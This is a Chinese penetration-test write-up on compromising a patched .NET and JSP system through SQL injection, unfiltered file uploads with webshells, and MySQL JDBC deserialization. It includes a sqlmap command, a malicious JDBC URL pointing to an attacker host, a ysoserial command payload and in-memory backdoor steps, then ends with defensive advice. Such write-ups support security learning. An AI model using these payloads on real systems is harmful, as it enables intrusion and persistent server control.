记一次渗透到审计
字数 1333 2025-08-22 12:23:06

渗透测试实战:从漏洞挖掘到代码审计

前言

本文记录了一次针对已加固系统的渗透测试过程,通过代码审计发现新的漏洞点,最终获取服务器及数据库权限。案例涉及.NET和JSP系统,包含SQL注入、文件上传、MySQL JDBC反序列化等漏洞利用技术。

案例背景

  • 目标系统:已测试过一轮并经过加固修复的.NET和JSP系统
  • 测试要求:必须产出高危漏洞并获取服务器及数据库权限
  • 挑战:常规漏洞点已被修复,需要深入审计发现新的攻击面

.NET系统漏洞利用

SQL注入漏洞

漏洞点

  • 后台用户查询功能存在SQL注入
  • 参数:UserID = 1 + or + 1 = 1UserID = 1 + or + 1 = 2 测试成功

利用方法

  1. 使用SqlMap工具自动化注入:
    sqlmap -u "http://target.com/page.aspx?UserID=1" --dbs
    

文件上传漏洞

漏洞点

  • 头像上传功能未做任何过滤
  • 可直接上传webshell获取服务器权限

利用过程

  1. 上传aspx webshell文件
  2. 通过webshell访问web.config文件
  3. 获取多个数据库配置信息

JSP系统代码审计与漏洞挖掘

审计思路

  1. 系统之前已被挖掘过任意文件上传漏洞
  2. 后台常规上传点已被修复
  3. 通过指纹特征获取系统源码
  4. 推测开发人员可能只修复了已知漏洞点而非全局修复

任意文件上传漏洞

漏洞代码分析

// 前端获取uploadPath值
// 获取文件后缀未进行检查
extName = name.substring(name.lastIndexOf("."));

// 用时间戳+随机数字对文件重命名
name + (int)(Math.random()*90000 + 10000)

// 直接进行文件路径拼接
new File(savePath + name + extName)

// 写入文件内容
item.write(file);

// 响应返回上传成功的文件名(无具体路径)
response.getWriter().print((name.trim() + extName.trim()).trim());

关键点

  • uploadPath值决定了文件存储目录且需要可访问权限
  • 由于系统曾被入侵过,可推测存在可访问的目录路径

利用步骤

  1. 构造上传HTML文件,设置uploadPath为已知可访问目录(如/aaa/bbbb/
  2. 上传webshell文件
  3. 根据返回的文件名访问webshell

MySQL JDBC反序列化漏洞

漏洞发现

  • 某JSP文件中存在数据库连接功能
  • URL、用户名、密码完全可控
  • lib包中存在可利用的MySQL连接器

漏洞代码分析

// 不同数据库对应不同的type选择不同的数据库驱动
// 这是一个数据库链接测试页面,参数完全可控

利用条件

  • MySQL 5.x版本
  • 存在Commons Beanutils(cc/cb)依赖

利用方法

  1. 构造恶意MySQL连接URL:
    jdbc:mysql://attacker_ip:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    
  2. 设置用户名和密码:
    username = yso - CommonsBeanutils2 - raw_cmd : calc.exe
    password = 123456
    
  3. 攻击者服务器开启恶意MySQL服务

本地测试

  • 使用cb2链弹计算器验证漏洞有效性

内存马注入

利用方法

  1. 使用JMG工具生成内存马class文件
  2. 通过已获取的webshell上传并加载内存马
  3. 实现持久化后门

防御建议

  1. 文件上传防护

    • 严格校验文件后缀和内容
    • 使用白名单机制限制可上传文件类型
    • 文件重命名时保持后缀不变
    • 上传目录设置为不可执行
  2. SQL注入防护

    • 使用预编译语句
    • 实施最小权限原则
    • 对输入参数进行严格过滤
  3. 反序列化防护

    • 更新MySQL连接器到最新版本
    • 限制JDBC连接参数配置
    • 使用安全版本的依赖库
  4. 代码审计建议

    • 修复漏洞时应全局检查类似功能点
    • 实施安全的编码规范
    • 定期进行安全审计和渗透测试

总结

本案例展示了如何通过深入代码审计在已加固系统中发现新的安全漏洞。关键点包括:

  1. 开发人员往往只修复已知漏洞点而非全局修复
  2. 系统历史漏洞信息可帮助推测当前配置
  3. 数据库连接测试功能可能成为攻击入口
  4. 文件上传功能的实现细节决定其安全性

通过综合利用这些漏洞,最终实现了从外网渗透到获取服务器和数据库权限的全过程。

渗透测试实战:从漏洞挖掘到代码审计 前言 本文记录了一次针对已加固系统的渗透测试过程,通过代码审计发现新的漏洞点,最终获取服务器及数据库权限。案例涉及.NET和JSP系统,包含SQL注入、文件上传、MySQL JDBC反序列化等漏洞利用技术。 案例背景 目标系统:已测试过一轮并经过加固修复的.NET和JSP系统 测试要求:必须产出高危漏洞并获取服务器及数据库权限 挑战:常规漏洞点已被修复,需要深入审计发现新的攻击面 .NET系统漏洞利用 SQL注入漏洞 漏洞点 : 后台用户查询功能存在SQL注入 参数: UserID = 1 + or + 1 = 1 和 UserID = 1 + or + 1 = 2 测试成功 利用方法 : 使用SqlMap工具自动化注入: 文件上传漏洞 漏洞点 : 头像上传功能未做任何过滤 可直接上传webshell获取服务器权限 利用过程 : 上传aspx webshell文件 通过webshell访问web.config文件 获取多个数据库配置信息 JSP系统代码审计与漏洞挖掘 审计思路 系统之前已被挖掘过任意文件上传漏洞 后台常规上传点已被修复 通过指纹特征获取系统源码 推测开发人员可能只修复了已知漏洞点而非全局修复 任意文件上传漏洞 漏洞代码分析 : 关键点 : uploadPath 值决定了文件存储目录且需要可访问权限 由于系统曾被入侵过,可推测存在可访问的目录路径 利用步骤 : 构造上传HTML文件,设置 uploadPath 为已知可访问目录(如 /aaa/bbbb/ ) 上传webshell文件 根据返回的文件名访问webshell MySQL JDBC反序列化漏洞 漏洞发现 : 某JSP文件中存在数据库连接功能 URL、用户名、密码完全可控 lib包中存在可利用的MySQL连接器 漏洞代码分析 : 利用条件 : MySQL 5.x版本 存在Commons Beanutils(cc/cb)依赖 利用方法 : 构造恶意MySQL连接URL: 设置用户名和密码: 攻击者服务器开启恶意MySQL服务 本地测试 : 使用cb2链弹计算器验证漏洞有效性 内存马注入 利用方法 : 使用JMG工具生成内存马class文件 通过已获取的webshell上传并加载内存马 实现持久化后门 防御建议 文件上传防护 : 严格校验文件后缀和内容 使用白名单机制限制可上传文件类型 文件重命名时保持后缀不变 上传目录设置为不可执行 SQL注入防护 : 使用预编译语句 实施最小权限原则 对输入参数进行严格过滤 反序列化防护 : 更新MySQL连接器到最新版本 限制JDBC连接参数配置 使用安全版本的依赖库 代码审计建议 : 修复漏洞时应全局检查类似功能点 实施安全的编码规范 定期进行安全审计和渗透测试 总结 本案例展示了如何通过深入代码审计在已加固系统中发现新的安全漏洞。关键点包括: 开发人员往往只修复已知漏洞点而非全局修复 系统历史漏洞信息可帮助推测当前配置 数据库连接测试功能可能成为攻击入口 文件上传功能的实现细节决定其安全性 通过综合利用这些漏洞,最终实现了从外网渗透到获取服务器和数据库权限的全过程。